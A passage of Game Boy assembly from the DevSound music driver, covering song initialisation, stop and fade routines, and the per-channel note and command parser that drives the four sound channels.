ld h,[hl]
ld l,a
ld a,[hl+]
ld [CH1Ptr],a
ld a,[hl+]
ld [CH1Ptr+1],a
ld a,[hl+]
ld [CH2Ptr],a
ld a,[hl+]
ld [CH2Ptr+1],a
ld a,[hl+]
ld [CH3Ptr],a
ld a,[hl+]
ld [CH3Ptr+1],a
ld a,[hl+]
ld [CH4Ptr],a
ld a,[hl+]
ld [CH4Ptr+1],a
ld hl,DummyChannel
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl+]
ld [CH1RetPtr],a
ld [CH2RetPtr],a
ld [CH3RetPtr],a
ld [CH4RetPtr],a
ld a,[hl]
ld [CH1RetPtr+1],a
ld [CH2RetPtr+1],a
ld [CH3RetPtr+1],a
ld [CH4RetPtr+1],a
ld a,$11
ld [CH1Pan],a
ld [CH2Pan],a
ld [CH3Pan],a
ld [CH4Pan],a
ld a,15
ld [CH1ChanVol],a
ld [CH2ChanVol],a
ld [CH3ChanVol],a
ld [CH4ChanVol],a
; get tempo
ld hl,SongSpeedTable
add hl,de
add hl,de
ld a,[hl+]
dec a
ld [GlobalSpeed1],a
ld a,[hl]
dec a
ld [GlobalSpeed2],a
ld a,%10000000
ldh [rNR52],a
ld a,$FF
ldh [rNR51],a
ld a,7
ld [GlobalVolume],a
; if visualizer is enabled, init it too
if def(Visualizer)
if !def(DemoSceneMode) && !def(NoWaveVolumeScaling)
CopyBytes DefaultWave,VisualizerTempWave,16
endc
call VisualizerInit
endc
ret
; ================================================================
; External command processing routine
; INPUT: a = command ID
; bc = parameters
; ================================================================
DevSound_ExternalCommand:
cp (.commandTableEnd-.commandTable)/2
ret nc ; if command ID is out of bounds, exit
ld hl,.commandTable
add a
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
ld h,[hl]
ld l,a
jp hl
.commandTable
dw .dummy ; $00 - dummy
dw .setSpeed ; $01 - set speed
dw .muteChannel ; $02 - mute given sound channel (TODO)
.commandTableEnd
.setSpeed
ld a,b
ld [GlobalSpeed1],a
ld a,c
ld [GlobalSpeed2],a
; ret
.muteChannel ; TODO
; ld a,c
; and 3
.dummy
ret
; ================================================================
; Stop routine
; ================================================================
DevSound_Stop:
ld c,low(rNR52)
xor a
ld [c],a ; disable sound output (resets all sound regs)
set 7,a
ld [c],a ; enable sound output
dec c
or $ff
ld [c],a ; all sound channels to left+right speakers
dec c
and $77
ld [c],a ; VIN output off + master volume max
xor a
ld [CH1Enabled],a
ld [CH2Enabled],a
ld [CH3Enabled],a
ld [CH4Enabled],a
ld [SoundEnabled],a
; if visualizer is enabled, init it too (to make everything zero)
if def(Visualizer)
jp VisualizerInit
else
ret
endc
; ================================================================
; Fade routine
; Note: if planning to call both this and DS_Init, call this first.
; ================================================================
DevSound_Fade:
and 3
cp 3
ret z ; 3 is an invalid value, silently ignore it
inc a ; Increment...
set 2,a ; Mark this fade as the first
ld [FadeType],a
ld a,7
ld [FadeTimer],a
ret
; ================================================================
; Play routine
; ================================================================
DevSound_Play:
; Since this routine is called during an interrupt (which may
; happen in the middle of a routine), preserve all register
; values just to be safe.
; Other registers are saved at `.doUpdate`.
push af
ld a,[SoundEnabled]
and a
jr nz,.doUpdate ; if sound is enabled, jump ahead
pop af
ret
.doUpdate
push bc
push de
push hl
; do stuff with sync tick
ld a,[SyncTick]
and a
jr z,.getSongTimer
dec a
ld [SyncTick],a
.getSongTimer
ld a,[GlobalTimer] ; get global timer
and a ; is GlobalTimer non-zero?
jr nz,.noupdate ; if yes, don't update
ld a,[TickCount] ; get current tick count
xor 1 ; toggle between 0 and 1
ld [TickCount],a ; store it in RAM
jr nz,.odd ; if a is 1, jump
.even
ld a,[GlobalSpeed1]
jr .setTimer
.odd
ld a,[GlobalSpeed2]
.setTimer
ld [GlobalTimer],a ; store timer value
jr UpdateCH1 ; continue ahead
.noupdate
dec a ; subtract 1 from timer
ld [GlobalTimer],a ; store timer value
jp DoneUpdating ; done
; ================================================================
UpdateCH1:
ld a,[CH1Enabled]
and a
jp z,UpdateCH2 ; if channel is disabled, skip to UpdateCH2
ld a,[CH1Tick]
and a
jr z,.continue ; if channel tick = 0, then jump ahead
dec a ; otherwise...
ld [CH1Tick],a ; decrement channel tick...
jp UpdateCH2 ; ...and skip to UpdateCH2.
.continue
ld hl,CH1Ptr ; get pointer
ld a,[hl+]
ld h,[hl]
ld l,a
CH1_CheckByte:
ld a,[hl+] ; get byte
cp $ff ; if $ff...
jr z,.endChannel
cp $c9 ; if $c9...
jr z,.retSection
cp release ; if release
jp z,.release
cp ___ ; if null note...
jr z,.nullnote
bit 7,a ; if command...
jp nz,.getCommand
; if we have a note...
.getNote
ld [CH1NoteBackup],a ; set note
ld a,[hl+] ; get note length
dec a ; subtract 1
ld [CH1Tick],a ; set channel tick
ld a,l ; store back current pos
ld [CH1Ptr],a
ld a,h
ld [CH1Ptr+1],a
ld a,[CH1PortaType]
dec a ; if toneporta, don't reset everything
jr z,.noreset
xor a
ld [CH1ArpPos],a ; reset arp position
inc a
ld [CH1VibPos],a ; reset vibrato position
ld hl,CH1VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl] ; get vibrato delay
ld [CH1VibDelay],a ; set delay
xor a
ld hl,CH1Reset
bit 0,[hl]
jr nz,.noreset_checkvol
ld [CH1PulsePos],a
.noreset_checkvol
bit 1,[hl]
jr nz,.noreset
ld [CH1VolPos],a
ld [CH1VolLoop],a
.noreset
ld a,[CH1NoteCount]
inc a
ld [CH1NoteCount],a
ld b,a
; check if instrument mode is 1 (alternating)
ld a,[CH1InsMode]
and a
jr z,.noInstrumentChange
ld a,b
rra
jr nc,.notodd
ld a,[CH1Ins1]
jr .odd
.notodd
ld a,[CH1Ins2]
.odd
call CH1_SetInstrument
.noInstrumentChange
ld hl,CH1Reset
set 7,[hl] ; signal the start of note for pitch bend
jp UpdateCH2
.endChannel
xor a
ld [CH1Enabled],a
jp UpdateCH2
.retSection
ld hl,CH1RetPtr
ld a,[hl+]
ld [CH1Ptr],a
ld a,[hl]
ld [CH1Ptr+1],a
jp UpdateCH1
.nullnote
ld a,[hl+]
dec a
ld [CH1Tick],a ; set tick
ld a,l ; store back current pos
ld [CH1Ptr],a
ld a,h
ld [CH1Ptr+1],a
jp UpdateCH2
.release
; follows FamiTracker's behavior except vibrato table which will not be affected
ld a,[hl+]
dec a
ld [CH1Tick],a ; set tick
ld a,l ; store back current pos
ld [CH1Ptr],a
ld a,h
ld [CH1Ptr+1],a
ld hl,CH1VolPtr
ld bc,CH1VolPos
call SkipLoopPoint
ld hl,CH1ArpPtr
ld bc,CH1ArpPos
call SkipLoopPoint
ld hl,CH1PulsePtr
ld bc,CH1PulsePos
call SkipLoopPoint
jp UpdateCH2
.getCommand
cp DummyCommand
jp nc, CH1_CheckByte
; Not needed because function performs "add a" which discards bit 7
; sub $80 ; subtract 128 from command value
call JumpTableBelow
dw .setInstrument
dw .setLoopPoint
dw .gotoLoopPoint
dw .callSection
dw .setChannelPtr
dw .pitchBendUp
dw .pitchBendDown
dw .setSweep
dw .setPan
dw .setSpeed
dw .setInsAlternate
dw CH1_CheckByte ;.randomizeWave
dw .combineWaves
dw .enablePWM
dw .enableRandomizer
dw CH1_CheckByte ;.disableAutoWave
dw .arp
dw .toneporta
dw .chanvol
dw .setSyncTick
.setInstrument
ld a,[hl+] ; get ID of instrument to switch to
push hl ; preserve HL
call CH1_SetInstrument
xor a
ld [CH1InsMode],a ; reset instrument mode
pop hl ; restore HL
jp CH1_CheckByte
.setLoopPoint
ld a,l
ld [CH1LoopPtr],a
ld a,h
ld [CH1LoopPtr+1],a
jp CH1_CheckByte
.gotoLoopPoint
ld hl,CH1LoopPtr ; get loop pointer
ld a,[hl+]
ld [CH1Ptr],a
ld a,[hl]
ld [CH1Ptr+1],a
jp UpdateCH1
.callSection
ld a,[hl+]
ld [CH1Ptr],a
ld a,[hl+]
ld [CH1Ptr+1],a
ld a,l
ld [CH1RetPtr],a
ld a,h
ld [CH1RetPtr+1],a
jp UpdateCH1
.setChannelPtr
ld a,[hl+]
ld [CH1Ptr],a
ld a,[hl]
ld [CH1Ptr+1],a
jp UpdateCH1
.pitchBendUp
ld a,[hl+]
ld [CH1PortaSpeed],a
and a
jr z,.loadPortaType
ld a,2
jr .loadPortaType
.pitchBendDown
ld a,[hl+]
ld [CH1PortaSpeed],a
and a
jr z,.loadPortaType
ld a,3
jr .loadPortaType
.toneporta
ld a,[hl+]
ld [CH1PortaSpeed],a
and a
jr z,.loadPortaType
ld a,1
.loadPortaType
ld [CH1PortaType],a
jp CH1_CheckByte
.setSweep
ld a,[hl+]
ld [CH1Sweep],a
jp CH1_CheckByte
.setPan
ld a,[hl+]
ld [CH1Pan],a
jp CH1_CheckByte
.setSpeed
ld a,[hl+]
dec a
ld [GlobalSpeed1],a
ld a,[hl+]
dec a
ld [GlobalSpeed2],a
jp CH1_CheckByte
.setInsAlternate
ld a,[hl+]
ld [CH1Ins1],a
ld a,[hl+]
ld [CH1Ins2],a
ld a,1
ld [CH1InsMode],a
jp CH1_CheckByte
.combineWaves
ld a,l
add 4
ld l,a
jp nc,CH1_CheckByte
inc h
jp CH1_CheckByte
.enablePWM
inc hl
inc hl
jp CH1_CheckByte
.setSyncTick
ld a,[hl+]
ld [SyncTick],a
jp CH1_CheckByte
.enableRandomizer
inc hl
jp CH1_CheckByte
.arp
call DoArp
jp CH1_CheckByte
.chanvol
ld a,[hl+]
and $f
ld [CH1ChanVol],a
jp CH1_CheckByte
CH1_SetInstrument:
ld hl,InstrumentTable
ld e,a
ld d,0
add hl,de
add hl,de
ld a,[hl+]
ld h,[hl]
ld l,a
; no reset flag
ld a,[hl+]
and 3
ld [CH1Reset],a
ld b,a
; vol table
ld a,[hl+]
ld [CH1VolPtr],a
ld a,[hl+]
ld [CH1VolPtr+1],a
; arp table
ld a,[hl+]
ld [CH1ArpPtr],a
ld a,[hl+]
ld [CH1ArpPtr+1],a
; pulse table
ld a,[hl+]
ld [CH1PulsePtr],a
ld a,[hl+]
ld [CH1PulsePtr+1],a
; vib table
ld a,[hl+]
ld [CH1VibPtr],a
ld a,[hl+]
ld [CH1VibPtr+1],a
ld hl,CH1VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl]
ld [CH1VibDelay],a
ret
; ================================================================
UpdateCH2:
ld a,[CH2Enabled]
and a
jp z,UpdateCH3
ld a,[CH2Tick]
and a
jr z,.continue
dec a
ld [CH2Tick],a
jp UpdateCH3
.continue
ld hl,CH2Ptr ; get pointer
ld a,[hl+]
ld h,[hl]
ld l,a
CH2_CheckByte:
ld a,[hl+] ; get byte
cp $ff
jp z,.endChannel
cp $c9
jp z,.retSection
cp release ; if release
jp z,.release
cp ___
jp z,.nullnote
bit 7,a ; check for command
jp nz,.getCommand
; if we have a note...
.getNote
ld [CH2NoteBackup],a
ld a,[hl+]
dec a
ld [CH2Tick],a
ld a,l ; store back current pos
ld [CH2Ptr],a
ld a,h
ld [CH2Ptr+1],a
ld a,[CH2PortaType]
dec a ; if toneporta, don't reset everything
jr z,.noreset
xor a
ld [CH2ArpPos],a
if(UseFXHammer)
ld a,[$cff0]
cp 3
jp z,.noupdate
endc
ldh [rNR22],a
.noupdate
inc a
ld [CH2VibPos],a
ld hl,CH2VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl]
ld [CH2VibDelay],a
xor a
ld hl,CH2Reset
bit 0,[hl]
jr nz,.noreset_checkvol
ld [CH2PulsePos],a
.noreset_checkvol
bit 1,[hl]
jr nz,.noreset
ld [CH2VolPos],a
ld [CH2VolLoop],a
.noreset
ld a,[CH2NoteCount]
inc a
ld [CH2NoteCount],a
ld b,a
; check if instrument mode is 1 (alternating)
ld a,[CH2InsMode]
and a
jr z,.noInstrumentChange
ld a,b
rra
jr nc,.notodd
ld a,[CH2Ins1]
jr .odd
.notodd
ld a,[CH2Ins2]
.odd
call CH2_SetInstrument
.noInstrumentChange
ld hl,CH2Reset
set 7,[hl]
jp UpdateCH3
.endChannel
xor a
ld [CH2Enabled],a
jp UpdateCH3
.retSection
ld hl,CH2RetPtr
ld a,[hl+]
ld [CH2Ptr],a
ld a,[hl]
ld [CH2Ptr+1],a
jp UpdateCH2
.nullnote
ld a,[hl+]
dec a
ld [CH2Tick],a ; set tick
ld a,l ; store back current pos
ld [CH2Ptr],a
ld a,h
ld [CH2Ptr+1],a
jp UpdateCH3
.release
; follows FamiTracker's behavior except vibrato table which will not be affected
ld a,[hl+]
dec a
ld [CH2Tick],a ; set tick
ld a,l ; store back current pos
ld [CH2Ptr],a
ld a,h
ld [CH2Ptr+1],a
ld hl,CH2VolPtr
ld bc,CH2VolPos
call SkipLoopPoint
ld hl,CH2ArpPtr
ld bc,CH2ArpPos
call SkipLoopPoint
ld hl,CH2PulsePtr
ld bc,CH2PulsePos
call SkipLoopPoint
jp UpdateCH3
.getCommand
cp DummyCommand
jp nc,CH2_CheckByte
; Not needed because function performs "add a" which discards bit 7
; sub $80
call JumpTableBelow
dw .setInstrument
dw .setLoopPoint
dw .gotoLoopPoint
dw .callSection
dw .setChannelPtr
dw .pitchBendUp
dw .pitchBendDown
dw .setSweep
dw .setPan
dw .setSpeed
dw .setInsAlternate
dw CH2_CheckByte ;.randomizeWave
dw .combineWaves
dw .enablePWM
dw .enableRandomizer
dw CH2_CheckByte ;.disableAutoWave
dw .arp
dw .toneporta
dw .chanvol
dw .setSyncTick
.setInstrument
ld a,[hl+]
push hl
call CH2_SetInstrument
pop hl
xor a
ld [CH2InsMode],a
jp CH2_CheckByte
.setLoopPoint
ld a,l
ld [CH2LoopPtr],a
ld a,h
ld [CH2LoopPtr+1],a
jp CH2_CheckByte
.gotoLoopPoint
ld hl,CH2LoopPtr
ld a,[hl+]
ld [CH2Ptr],a
ld a,[hl]
ld [CH2Ptr+1],a
jp UpdateCH2
.callSection
ld a,[hl+]
ld [CH2Ptr],a
ld a,[hl+]
ld [CH2Ptr+1],a
ld a,l
ld [CH2RetPtr],a
ld a,h
ld [CH2RetPtr+1],a
jp UpdateCH2
.setChannelPtr
ld a,[hl+]
ld [CH2Ptr],a
ld a,[hl]
ld [CH2Ptr+1],a
jp UpdateCH2
.pitchBendUp
ld a,[hl+]
ld [CH2PortaSpeed],a
and a
jr z,.loadPortaType
ld a,2
jr .loadPortaType
.pitchBendDown
ld a,[hl+]
ld [CH2PortaSpeed],a
and a
jr z,.loadPortaType
ld a,3
jr .loadPortaType
.toneporta
ld a,[hl+]
ld [CH2PortaSpeed],a
and a
jr z,.loadPortaType
ld a,1
.loadPortaType
ld [CH2PortaType],a
jp CH2_CheckByte
.setSweep
.enableRandomizer
inc hl
jp CH2_CheckByte
.setPan
ld a,[hl+]
ld [CH2Pan],a
jp CH2_CheckByte
.setSpeed
ld a,[hl+]
dec a
ld [GlobalSpeed1],a
ld a,[hl+]
dec a
ld [GlobalSpeed2],a
jp CH2_CheckByte
.setInsAlternate
ld a,[hl+]
ld [CH2Ins1],a
ld a,[hl+]
ld [CH2Ins2],a
ld a,1
ld [CH2InsMode],a
jp CH2_CheckByte
.combineWaves
ld a,l
add 4
ld l,a
jp nc,CH2_CheckByte
inc h
jp CH2_CheckByte
.enablePWM
inc hl
inc hl
jp CH2_CheckByte
.arp
call DoArp
jp CH2_CheckByte
.chanvol
ld a,[hl+]
and $f
ld [CH2ChanVol],a
jp CH2_CheckByte
.setSyncTick
ld a,[hl+]
ld [SyncTick],a
jp CH2_CheckByte
CH2_SetInstrument:
ld hl,InstrumentTable
ld e,a
ld d,0
add hl,de
add hl,de
ld a,[hl+]
ld h,[hl]
ld l,a
; no reset flag
ld a,[hl+]
and 3
ld [CH2Reset],a
ld b,a
; vol table
ld a,[hl+]
ld [CH2VolPtr],a
ld a,[hl+]
ld [CH2VolPtr+1],a
; arp table
ld a,[hl+]
ld [CH2ArpPtr],a
ld a,[hl+]
ld [CH2ArpPtr+1],a
; pulse table
ld a,[hl+]
ld [CH2PulsePtr],a
ld a,[hl+]
ld [CH2PulsePtr+1],a
; vib table
ld a,[hl+]
ld [CH2VibPtr],a
ld a,[hl+]
ld [CH2VibPtr+1],a
ld hl,CH2VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl]
ld [CH2VibDelay],a
ret
; ================================================================
UpdateCH3:
ld a,[CH3Enabled]
and a
jp z,UpdateCH4
ld a,[CH3Tick]
and a
jr z,.continue
dec a
ld [CH3Tick],a
jp UpdateCH4
.continue
ld hl,CH3Ptr ; get pointer
ld a,[hl+]
ld h,[hl]
ld l,a
CH3_CheckByte:
ld a,[hl+] ; get byte
cp $ff
jr z,.endChannel
cp $c9
jr z,.retSection
cp release ; if release
jp z,.release
cp ___
jp z,.nullnote
bit 7,a ; check for command
jp nz,.getCommand
; if we have a note...
.getNote
ld [CH3NoteBackup],a
ld a,[hl+]
dec a
ld [CH3Tick],a
ld a,l ; store back current pos
ld [CH3Ptr],a
ld a,h
ld [CH3Ptr+1],a
ld a,[CH3PortaType]
dec a ; if toneporta, don't reset everything
jr z,.noresetvol
xor a
ld [CH3ArpPos],a
cpl
ld [CH3Wave],a ; workaround for wave corruption bug on DMG, forces wave update at note start
ld a,1
ld [CH3VibPos],a
ld hl,CH3VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl]
ld [CH3VibDelay],a
xor a
ld hl,CH3Reset
bit 0,[hl]
jr nz,.noresetwave
ld [CH3WavePos],a
.noresetwave
bit 1,[hl]
jr nz,.noresetvol
ld [CH3VolPos],a
.noresetvol
ld a,[CH3NoteCount]
inc a
ld [CH3NoteCount],a
ld b,a
ld a,[CH3ComputedVol]
ldh [rNR32],a ; fix for volume not updating when unpausing
; check if instrument mode is 1 (alternating)
ld a,[CH3InsMode]
and a
jr z,.noInstrumentChange
ld a,b
rra
jr nc,.notodd
ld a,[CH3Ins1]
jr .odd
.notodd
ld a,[CH3Ins2]
.odd
call CH3_SetInstrument
.noInstrumentChange
ld hl,CH3Reset
set 7,[hl]
jp UpdateCH4
.endChannel
xor a
ld [CH3Enabled],a
jp UpdateCH4
.retSection
ld hl,CH3RetPtr
ld a,[hl+]
ld [CH3Ptr],a
ld a,[hl]
ld [CH3Ptr+1],a
jp UpdateCH3
.nullnote
ld a,[hl+]
dec a
ld [CH3Tick],a
ld a,l ; store back current pos
ld [CH3Ptr],a
ld a,h
ld [CH3Ptr+1],a
jp UpdateCH4
.release
; follows FamiTracker's behavior except vibrato table which will not be affected
ld a,[hl+]
dec a
ld [CH3Tick],a ; set tick
ld a,l ; store back current pos
ld [CH3Ptr],a
ld a,h
ld [CH3Ptr+1],a
ld hl,CH3VolPtr
ld bc,CH3VolPos
call SkipLoopPoint
ld hl,CH3ArpPtr
ld bc,CH3ArpPos
call SkipLoopPoint
ld hl,CH3WavePtr
ld bc,CH3WavePos
call SkipLoopPoint
jp UpdateCH4
.getCommand
cp DummyCommand
jp nc,CH3_CheckByte
; Not needed because function performs "add a" which discards bit 7
; sub $80
call JumpTableBelow
dw .setInstrument
dw .setLoopPoint
dw .gotoLoopPoint
dw .callSection
dw .setChannelPtr
dw .pitchBendUp
dw .pitchBendDown
dw .setSweep
dw .setPan
dw .setSpeed
dw .setInsAlternate
dw .randomizeWave
dw .combineWaves
dw .enablePWM
dw .enableRandomizer
dw .disableAutoWave
dw .arp
dw .toneporta
dw .chanvol
dw .setSyncTick
.setInstrument
ld a,[hl+]
push hl
call CH3_SetInstrument
pop hl
xor a
ld [CH3InsMode],a
jp CH3_CheckByte
.setLoopPoint
ld a,l
ld [CH3LoopPtr],a
ld a,h
ld [CH3LoopPtr+1],a
jp CH3_CheckByte
.gotoLoopPoint
ld hl,CH3LoopPtr
ld a,[hl+]
ld [CH3Ptr],a
ld a,[hl]
ld [CH3Ptr+1],a
jp UpdateCH3
.callSection
ld a,[hl+]
ld [CH3Ptr],a
ld a,[hl+]
ld [CH3Ptr+1],a
ld a,l
ld [CH3RetPtr],a
ld a,h
ld [CH3RetPtr+1],a
jp UpdateCH3
.setChannelPtr
ld a,[hl+]
ld [CH3Ptr],a
ld a,[hl]
ld [CH3Ptr+1],a
jp UpdateCH3
.pitchBendUp
ld a,[hl+]
ld [CH3PortaSpeed],a
and a
jr z,.loadPortaType
ld a,2
jr .loadPortaType
.pitchBendDown
ld a,[hl+]
ld [CH3PortaSpeed],a
and a
jr z,.loadPortaType
ld a,3
jr .loadPortaType
.toneporta
ld a,[hl+]
ld [CH3PortaSpeed],a
and a
jr z,.loadPortaType
ld a,1
.loadPortaType
ld [CH3PortaType],a
jp CH3_CheckByte
.setSweep
inc hl
jp CH3_CheckByte
.setPan
ld a,[hl+]
ld [CH3Pan],a
jp CH3_CheckByte
.setSpeed
ld a,[hl+]
dec a
ld [GlobalSpeed1],a
ld a,[hl+]
dec a
ld [GlobalSpeed2],a
jp CH3_CheckByte
.setInsAlternate
ld a,[hl+]
ld [CH3Ins1],a
ld a,[hl+]
ld [CH3Ins2],a
ld a,1
ld [CH3InsMode],a
jp CH3_CheckByte
if def(DemoSceneMode)
.randomizeWave
.disableAutoWave
jp CH3_CheckByte
.combineWaves
ld a,l
add 4
ld l,a
jp nc,CH3_CheckByte
inc h
jp CH3_CheckByte
.enablePWM
inc hl
inc hl
jp CH3_CheckByte
.enableRandomizer
inc hl
jp CH3_CheckByte
else
.randomizeWave
push hl
call _RandomizeWave
pop hl
jp CH3_CheckByte
.combineWaves
push bc
ld a,[hl+]
ld c,a
ld a,[hl+]
ld b,a
ld a,[hl+]
ld e,a
ld a,[hl+]
ld d,a
push hl
call _CombineWaves
pop hl
pop bc
jp CH3_CheckByte
.enablePWM
push hl
call ClearWaveBuffer
pop hl
ld a,[hl+]
ld [PWMVol],a
ld a,[hl+]
ld [PWMSpeed],a
ld a,$ff
ld [WavePos],a
xor a
ld [PWMDir],a
ld [RandomizerEnabled],a
inc a
ld [PWMEnabled],a
ld [PWMTimer],a
jp CH3_CheckByte
.enableRandomizer
push hl
call ClearWaveBuffer
pop hl
ld a,[hl+]
ld [RandomizerSpeed],a
ld a,1
ld [RandomizerTimer],a
ld [RandomizerEnabled],a
xor a
ld [PWMEnabled],a
jp CH3_CheckByte
.disableAutoWave
xor a
ld [PWMEnabled],a
ld [RandomizerEnabled],a
jp CH3_CheckByte
endc
.arp
call DoArp
jp CH3_CheckByte
.chanvol
ld a,[hl+]
and $f
ld [CH3ChanVol],a
jp CH3_CheckByte
.setSyncTick
ld a,[hl+]
ld [SyncTick],a
jp CH3_CheckByte
CH3_SetInstrument:
ld hl,InstrumentTable
ld e,a
ld d,0
add hl,de
add hl,de
ld a,[hl+]
ld h,[hl]
ld l,a
; no reset flag
ld a,[hl+]
and 3
ld [CH3Reset],a
ld b,a
; vol table
ld a,[hl+]
ld [CH3VolPtr],a
ld a,[hl+]
ld [CH3VolPtr+1],a
; arp table
ld a,[hl+]
ld [CH3ArpPtr],a
ld a,[hl+]
ld [CH3ArpPtr+1],a
; wave table
ld a,[hl+]
ld [CH3WavePtr],a
ld a,[hl+]
ld [CH3WavePtr+1],a
; vib table
ld a,[hl+]
ld [CH3VibPtr],a
ld a,[hl+]
ld [CH3VibPtr+1],a
ld hl,CH3VibPtr
ld a,[hl+]
ld h,[hl]
ld l,a
ld a,[hl]
ld [CH3VibDelay],a
ret
; ================================================================
UpdateCH4:
ld a,[CH4Enabled]
and a
jp z,DoneUpdating
ld a,[CH4Tick]
and a
jr z,.continue
dec a
ld [CH4Tick],a
jp DoneUpdating
.continue
ld hl,CH4Ptr ; get pointer
ld a,[hl+]
ld h,[hl]
ld l,a
CH4_CheckByte:
ld a,[hl+] ; get byte
cp $ff
jr z,.endChannel
cp $c9
jr z,.retSection
cp release ; if release
jr z,.release
cp ___
jr z,.nullnote
bit 7,a ; check for command
jp nz,.getCommand
; if we have a note...
.getNote
ld [CH4ModeBackup],a
ld a,[hl+]
dec a
ld [CH4Tick],a
ld a,l ; store back current pos
ld [CH4Ptr],a
ld a,h
ld [CH4Ptr+1],a
xor a
ld [CH4NoisePos],a
if !def(DisableDeflehacks)
ld [CH4WavePos],a
endc
ld a,[CH4Reset]
bit 1,a
jr nz,.noresetvol
xor a
ld [CH4VolPos],a
ld [CH4VolLoop],a
.noresetvol
if(UseFXHammer)
ld a,[$cff1]
cp 3
jp z,.noupdate
endc
ldh [rNR42],a
.noupdate
ld a,[CH4NoteCount]
inc a
ld [CH4NoteCount],a
ld b,a
; check if instrument mode is 1 (alternating)
ld a,[CH4InsMode]
and a
jr z,.noInstrumentChange
ld a,b
rra
jr nc,.notodd
ld a,[CH4Ins1]
jr .odd
.notodd
ld a,[CH4Ins2]
.odd
call CH4_SetInstrument
.noInstrumentChange
jp DoneUpdating
.endChannel
xor a
ld [CH4Enabled],a
jp DoneUpdating
.retSection
ld hl,CH4RetPtr
ld a,[hl+]
ld [CH4Ptr],a
ld a,[hl]
ld [CH4Ptr+1],a
jp UpdateCH4
.nullnote
ld a,[hl+]
dec a
ld [CH4Tick],a
ld a,l ; store back current pos
ld [CH4Ptr],a
ld a,h
ld [CH4Ptr+1],a
jp DoneUpdating
.release
; follows FamiTracker's behavior except vibrato table which will not be affected
ld a,[hl+]
dec a
ld [CH4Tick],a ; set tick
ld a,l ; store back current pos
ld [CH4Ptr],a
ld a,h
ld [CH4Ptr+1],a
ld hl,CH4VolPtr
ld bc,CH4VolPos
call SkipLoopPoint
ld hl,CH4NoisePtr
ld bc,CH4NoisePos
call SkipLoopPoint
ld hl,CH1PulsePtr
ld bc,CH1PulsePos
call SkipLoopPoint
jp DoneUpdating
.getCommand
cp DummyCommand
jp nc,CH4_CheckByte
; Not needed because function performs "add a" which discards bit 7
; sub $80
call JumpTableBelow
dw .setInstrument
dw .setLoopPoint
dw .gotoLoopPoint
dw .callSection
dw .setChannelPtr
dw .pitchBendUp
dw .pitchBendDown
dw .setSweep
dw .setPan
dw .setSpeed
dw .setInsAlternate
dw CH4_CheckByte ;.randomizeWave
dw .combineWaves
dw .enablePWM
dw .enableRandomizer
dw CH4_CheckByte ;.disableAutoWave
dw .arp
dw .toneporta
dw .chanvol
dw .setSyncTick
.setInstrument
ld a,[hl+]
push hl
call CH4_SetInstrument
pop hl
xor a
ld [CH4InsMode],a
jp CH4_CheckByte
.setLoopPoint
ld a,l
ld [CH4LoopPtr],a
ld a,h
ld [CH4LoopPtr+1],a
jp CH4_CheckByte
.gotoLoopPoint
ld hl,CH4LoopPtr
ld a,[hl+]
ld [CH4Ptr],a
ld a,[hl]
ld [CH4Ptr+1],a
jp UpdateCH4
.callSection
ld a,[hl+]
ld [CH4Ptr],a
ld a,[hl+]
ld [CH4Ptr+1],a
ld a,l
ld [CH4RetPtr],a
ld a,h
ld [CH4RetPtr+1],a
jp UpdateCH4
.setChannelPtr
ld a,[hl+]
ld [CH4Ptr],a
ld a,[hl]
ld [CH4Ptr+1],a
jp UpdateCH4
.pitchBendUp ; unused for ch4
.pitchBendDown ; unused for ch4
.setSweep ; unused for ch4
.enableRandomizer
.toneporta
inc hl
jp CH4_CheckByte
.setPan
ld a,[hl+]
ld [CH4Pan],a
jp CH4_CheckByte
.setSpeed
ld a,[hl+]
dec a
ld [GlobalSpeed1],a
ld a,[hl+]
dec a
ld [GlobalSpeed2],a
jp CH4_CheckByte
.setInsAlternate
ld a,[hl+]
ld [CH4Ins1],a
ld a,[hl+]
ld [CH4Ins2],a
ld a,1
ld [CH4InsMode],a
jp CH4_CheckByte
.combineWaves
ld a,l
add 4
ld l,a
jp nc,CH4_CheckByte
inc h
jp CH4_CheckByte
.enablePWM
.arp
pop hl
inc hl
inc hl
jp CH4_CheckByte
.chanvol
ld a,[hl+]
and $f
ld [CH4ChanVol],a
jp CH4_CheckByte
.setSyncTick
ld a,[hl+]
ld [SyncTick],a
jp CH4_CheckByte
CH4_SetInstrument:
ld hl,InstrumentTable
ld e,a
ld d,0
add hl,de
add hl,de
ld a,[hl+]
ld h,[hl]
ld l,a
; no reset flag
ld a,[hl+]
and 3
ld [CH4Reset],a
ld b,a
; vol table
ld a,[hl+]
ld [CH4VolPtr],a
ld a,[hl+]
ld [CH4VolPtr+1],a
; noise mode pointer
ld a,[hl+]
ld [CH4NoisePtr],a
ld a,[hl+]
ld [CH4NoisePtr+1],a
if !def(DisableDeflehacks)
ld a,[hl+]
ld [CH4WavePtr],a
ld a,[hl+]
ld [CH4WavePtr+1],a
endc
ret
; ================================================================
DoneUpdating:
UpdateRegisters:
; update panning
xor a
ld b,a
ld a,[CH1Pan]
add b
ld b,a
ld a,[CH2Pan]
rla
add b
ld b,a
ld a,[CH3Pan]
rla
rla
add b
ld b,a
ld a,[CH4Pan]
rla
rla
rla
add b
ldh [rNR51],a
; update global volume + fade system
ld a,[FadeType]
ld b,a
and 3 ; Check if no fade
jr z,.updateVolume ; Update volume
bit 2,b ; Check if on first fade
jr z,.notfirstfade
res 2,b
ld a,b
ld [FadeType],a
dec a
dec a ; If fading in (value 2), volume is 0 ; otherwise, it's 7
jr z,.gotfirstfadevolume
ld a,7
.gotfirstfadevolume
ld [GlobalVolume],a
.notfirstfade
ld a,[FadeTimer]
and a
jr z,.doupdate
dec a
ld [FadeTimer],a
jr .updateVolume
.doupdate
ld a,7
ld [FadeTimer],a
ld a,[FadeType]
and 3
dec a
jr z,.fadeout
dec a
jr z,.fadein
dec a
jr nz,.updateVolume
.fadeoutstop
ld a,[GlobalVolume]
and a
jr z,.dostop
dec a
ld [GlobalVolume],a
jr .directlyUpdateVolume
.fadeout
ld a,[GlobalVolume]
and a
jr z,.directlyUpdateVolume
dec a
ld [GlobalVolume],a
jr .updateVolume
.fadein
ld a,[GlobalVolume]
cp 7
jr z,.done
inc a
ld [GlobalVolume],a
